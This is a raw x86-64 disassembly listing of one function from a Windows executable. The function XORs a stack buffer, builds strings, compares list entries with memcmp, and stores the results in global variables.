mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd0], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd8], rax
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0xa0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x58], r14
lea rax, [rbp + 0xa0]
nop
inc r12
cmp byte [rax + r12], 0
jne 0x140025090
mov r8, r12
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x40]
call fcn.140020e30
lea rax, [rbp + 0x40]
mov qword [rbp + 8], rax
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x60]
call fcn.140022050
nop
mov r15, qword [rbp + 0xd0]
mov r12, qword [rbp + 0xd8]
cmp r15, r12
je 0x140025143
nop dword [rax]
lea rdx, [rbp + 0x340]
mov rcx, r15
call fcn.140021ee0
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova rdx, qword [rbp + 0x40]
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x14002510b
mov rax, qword [rax]
cmp r8, qword [rbp + 0x50]
jne 0x14002511d
mov rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140025134
lea rcx, [rbp + 0x340]
call fcn.140020d70
add r15, 8
cmp r15, r12
jne 0x1400250e0
jmp 0x140025143
lea rcx, [rbp + 0x340]
call fcn.140020d70
mov r14, qword [r15]
lea rcx, [rbp + 0xd0]
call fcn.1400251d0
nop
lea rcx, [rbp + 0x40]
call fcn.140020d70
mov qword [0x1402e5d90], r14
mov rax, qword [rbp + 0x68]
mov qword [0x1402e5db8], rax
mov qword [0x1402e5db0], rsi
mov rax, qword [rbp + 0x70]
mov qword [0x1402e5dc0], rax
mov qword [0x1402e5da8], rbx
mov rax, qword [rbp + 0x10]
mov qword [0x1402e5dc8], rax
mov qword [0x1402e5da0], rdi
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret